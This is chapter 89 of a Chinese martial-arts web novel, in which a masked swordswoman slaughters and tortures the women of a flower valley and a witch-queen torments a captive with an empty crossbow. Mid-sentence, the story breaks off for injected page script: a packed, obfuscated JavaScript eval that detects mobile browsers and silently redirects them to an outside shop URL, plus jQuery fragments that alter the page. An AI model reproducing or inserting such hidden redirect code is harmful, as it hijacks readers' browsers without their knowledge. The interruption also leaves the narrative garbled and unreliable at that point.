89. 主恩无二

作品:《天龙人,同龙不同命

    丁香不禁后退了两步,登时不敢大意,“快!去禀告娘娘。”


    “可丁香姐姐,娘娘在和那位俊俏郎君闭关呢,不许我们去打扰。”那蓝衣婢女应道。


    邱怡又道,“今日,就是素衣剑仙派我来此,肃一肃你百花谷的风气!”说罢,一道剑光直朝天月,亮出“墨白问日”的架势,随即使出“天谷寻音”的路数,弓步探腰,左盘右旋,一斩一刺推进剑锋,出剑如锦麟出水,收剑似飞鸟还林。


    丁香本欲还迎,但一举鞭,发现手缺一指,竟连鞭梢都歪了两分,邱怡的剑尖霎地袭来,她只得闪身。但见蒙面女子又向她背身一剑,丁香往前趔了半步,可对着接踵而来的剑光,早如惊弓之鸟。


    手起剑落后,邱怡朝那战战兢兢的蓝衣婢女问去,“你知道牡丹在何处吗?”


    蓝衣婢女视着遍地尸身,闭紧眼猛点了几下头,“牡丹姐姐让人给伤了,此刻在房内静养,姑娘,我不想死。”


    邱怡道,“不想死就带我去见她。”


    “好。”


    深入谷心,一路夜花似锦,风物俱盛,路旁仍有彩蝶翩飞,鹿兔成群,相傍归穴,属是罕见。


    邱怡问起蓝衣婢女百花谷的一些事,蓝衣婢女名叫蓝丁,见邱怡头罩黑面,十指尖尖也覆着黑色的铁甲,如实交代了。


    很多年前,巫后带着五名俏丽如花的女徒来到此处,那时的百花谷只是野花丛生之地。巫后精明天人滋养之道,时常取男子修炼,而后又将精元褪尽的男子活埋入花间,不想几番寒来暑往后,这里竟成了百花盛开之象。那后,五名花徒又分别收了五位美貌婢女,共同修炼。


    邱怡问道,“你也修了娇娥功?”


    蓝丁摇了摇头,“丁香姐姐说待我修炼入家,才可像她那样习采阳之法,保容颜长驻。”


    邱怡道,“如此啊。这么说,除了丁香和牡丹,她还另有三个徒弟是吗?”


    蓝丁点了点头,“还有百合姐姐、杜鹃姐姐和芍药姐姐,可芍药姐姐昨日出谷了,眼下不在谷里。”


    邱怡问道,“百花谷平时都在和什么人来往?”


    “这儿——”蓝丁想了想,“姑娘饶命,除了易寨主的人三两日送新收的郎君来,我确不知道娘娘还和什么人有来往。”


    “收?”邱怡轻嗤一声,“他们是收的还是抓的?”


    蓝丁道,“情不情愿的,到娘娘手下,也都情愿了,不然,也无法助娘娘修炼娇娥功。”


    “你说的易寨主可是易南天?他和娘娘是什么关系?”


    蓝丁道,“易寨主管娘娘叫师叔。”


    眼见蓝丁胆小,对着邱怡属实不敢谎言一句。


    两人转至三岔口,蓝丁指着一条蜿蜒花路道,“牡丹姐姐的花房就在里面。”


    邱怡扫了眼另条向西北曲进的路问道,“这是通往哪里的?”


    蓝丁道,“那是去梨花阁的路,眼下,娘娘在那儿陪俊俏郎君,有百合姐姐守在外面,不许我们过去打扰。”


    邱怡道,“先去找牡丹。”


    蓝丁点了点头,前行带路,转过两个弯,到了一座精致的花园小筑,两排屋舍分立左右,道旁花圃尽是争相斗艳的娇花。一绿衫少女正在采集夜露,见到蓝丁带了一黑面女子来,招呼道,“蓝丁,你怎未在谷口值岗?”


    蓝丁道,“这位姑娘来见牡丹姐姐。”


    绿衫少女眼神忽然警惕起来,提声问道,“你是谁?做什么来的?”


    呼呼一剑夹着风响,绿衫少女未及反应,就倒进了花圃,脖处鲜血顺着枝朵殷入泥土。


    一黄衣女子闻声出屋,举起鞭梢,对向邱怡,“什么人,活得不耐烦了?”


    邱怡看那黄衣女子,月辉落她脸庞上,好般灵俏动人,与其骄蛮之态不甚相配,回头问向蓝丁,“她就是牡丹吗?”


    蓝丁摇头,低声道,“她是杜鹃姐姐。”


    邱怡提剑向杜鹃走了去,剑尖还不时滴着血珠,沉着声道,“见牡丹一面真是难。”


    罩面女子持剑相对,杜鹃软鞭直甩向她头顶,势道着实凌厉。邱怡步子微挫,皮鞭擦着邱怡右肩处的鬓发而过。


    杜鹃见那女子可轻松避开,登时不再敢大意,招式一转,将鞭子舞得团团转,四面八方扬向邱怡,再看邱怡挥剑辗转与她拆了数十招。


    这时,屋间又冒出几位服饰鲜亮的妙颜女子。


    对拆数十招后,邱怡已是将杜鹃鞭法路数全然熟悉。


    斗地将四不剑插回背鞘,前屈左膝,挺立后身,铺手化爪,左旋右盘,疾速向鞭尖抓去,杜鹃见状,上扬软鞭,劈向邱怡背脊。邱怡见鞭子自上而下打来,脚尖旋地,翻身面天,跟着将两手伸向鞭身。


    杜鹃猛地抽回软鞭,甚是劲紧,急绕步向左,挥鞭向她头颈击去。邱怡不理鞭式如何变化,但凡瞧见鞭子来路,便以探花手法捏住长鞭,截鞭进路。杜鹃知邱怡爪法诡异,软鞭倒转,卷住邱怡左腕,邱怡仍是不顾,将软鞭绕过手腕再出手去抓。


    杜鹃自是不会让她此番戏弄,运劲急甩,却见邱怡被缠住的手竟纹丝不动。杜鹃憋足了劲儿,后倾蹬地,又抽动了几下,脸涨得通红,还是未能将软鞭拉回。


    邱怡见她奈何自己不得,右手五爪嗖地裂断鞭身。


    杜鹃趔趄退了几步,粗喘几口大气,问道,“你是什么人?”


    “与你何干。”


    杜鹃尤是被激,眼色转怒,纵身而起,从半空中挥出断去一半的鞭身。邱怡五爪探向杜鹃小腹,杜鹃见五只黑尖尖,来势汹狠,倒转鞭梢去挡,抬眼之际,令有五指掠来,脖下一片刺凉,但见邱怡右手每根手指端处的黑色甲片,正滴着淋淋的血。


    邱怡料理过一众婢女后,走到蓝丁身边,“带路。”


    蓝丁略一凝神,忙地跪下,“姑娘,今日跟你说了这多话,百花谷我定是待不下去了。还请姑娘高抬贵手,饶我性命。”


    邱怡仍是重重地重复道,“带我去见牡丹。”


    二人走进了一间朱门雕栏的屋。


    房内花团锦簇,脂粉浓郁扑鼻,蓝丁眼神朝西面里处示去,见幽幽烛火下,纱帐软床中,确趴有一人。


    牡丹转过头,脸有诧异,但前门处有两身人影,“你是谁!”


    她没有回答,蓝丁也是一个字儿也不敢应声,生怕惹邱怡不快。


    邱怡侧过头对蓝丁道,“在这儿待着,不准过去,要是敢乱说一个字,小命可就没了。”


    蓝丁见邱怡此番来到百花谷不是在找牡丹,就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894319|186271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是杀人,连武功最高的杜鹃也已丧于她手,自是一点都不敢逆她,只得点了点头。


    牡丹只看一淡淡的青影从门下飘了进来,轻盈得没有一丝声响,好像是幽灵一样。而自己后臀受伤,此刻半分起不得身,当即悚然。


    直到邱怡站定床边,牡丹才看清,她身着素纱青衫,面罩双孔透着一双闪闪发亮的眼睛。


    威沉的一声从面罩下传出,“牡丹,你好大的架子,还得我亲自来见你。”


    牡丹微俯撑着上身,转过头问向邱怡,“你究竟是什么人?”


    邱怡缓缓坐在床檐边,沉沉道,“我问你,我的鹰到了百花谷来,身上见了点血,可是你做下的?”


    “你和那贱人是一伙儿的?”


    邱怡用着更为低沉的声道,“你是承认了?”说着,将手搭到牡丹腰背,两根手指有有规律的来回敲着。动作极其缓,但将落时她又加力急下,将尖尖的黑甲砸在牡丹背处。


    牡丹觉有数股芒刺在后,又听到那副鬼面后传来,“畜生毕竟是畜生,便是我的鹰冒进了贵宝地,冲撞了谁,也是本少主御下不严,自有我来管教,轮不到你代劳。我的鹰既在你百花谷受了辱,与本少主受辱并无二致,外人听了去,你叫我颜面何存呢?”


    她说的速度很是平缓,但语气却一波又一波涌出狠劲儿。


    月儿躲进了云层休息,留出几颗碎星盯梢。


    夜儿本是静悄悄的,牡丹屋内不断传出耸人尖音。


    突然蓝丁像是失了魂般从屋内跑了出,一双水汪汪的大眼,惊惧至极,眼窝子里挂着两条泪痕。连着声道,“我不知道”,“我什么都没说”,“耳朵还在”,“手指,手指,都在”……她似乎是失心了。


    此刻,陈雅安仿佛陷入了虚幻两织的漩涡,思绪已从身体里面飘了出来,可身子仍在待命,小弩每发出扳机扣响的声儿,他都下意识跟着抖动一下。


    “郎君,只要你承认,奴家比白陵少主美,奴家就把这张弩放下,然后亲自为你上药,如何?”


    陈雅安默了很久,冷汗珠子不住滑入发间。


    咔嚓!


    他身子又战栗了一下。


    “郎君猜对了,这次奴家放的是空箭。”巫后玩味道,声线依旧妩媚,说后还不忘拉长尾音冷笑一声,举起一支小羽,在鼻下嗅了嗅,“或者,你求求奴家,快将这最后一支箭发了,免得郎君像惊了弓的小鸟一般。”


    陈雅安闻听还余一支箭,紧闭双唇,侧过脸虚弱地望向巫后,那双眼看起来疲惫极了,可散透出的,还是股子不屈劲儿。


    巫后转过身,背着陈雅安假装做了个装箭入弩的动作,淡淡笑了声,“郎君,你觉得下一箭,你的少主能不能护佑你?”


    巫后举起小弩,向陈雅安瞄了去,“奴家数三声,再不求我,我可要放箭了。”


    “一”……“二”,看陈雅安已阖上眼皮,巫后拉长尾音数道,“三。”


    咔嚓!


    空弩放响,人横在床上竟一点反应也无。


    巫后紧张视去,但见陈雅安胸腹依是呼吸起伏,心才放下,轻嗤道,“郎君胆量大了,都不怕奴家的箭了。”


    陈雅安冷冷笑了一声,“我最多再挨一箭,你输定了。”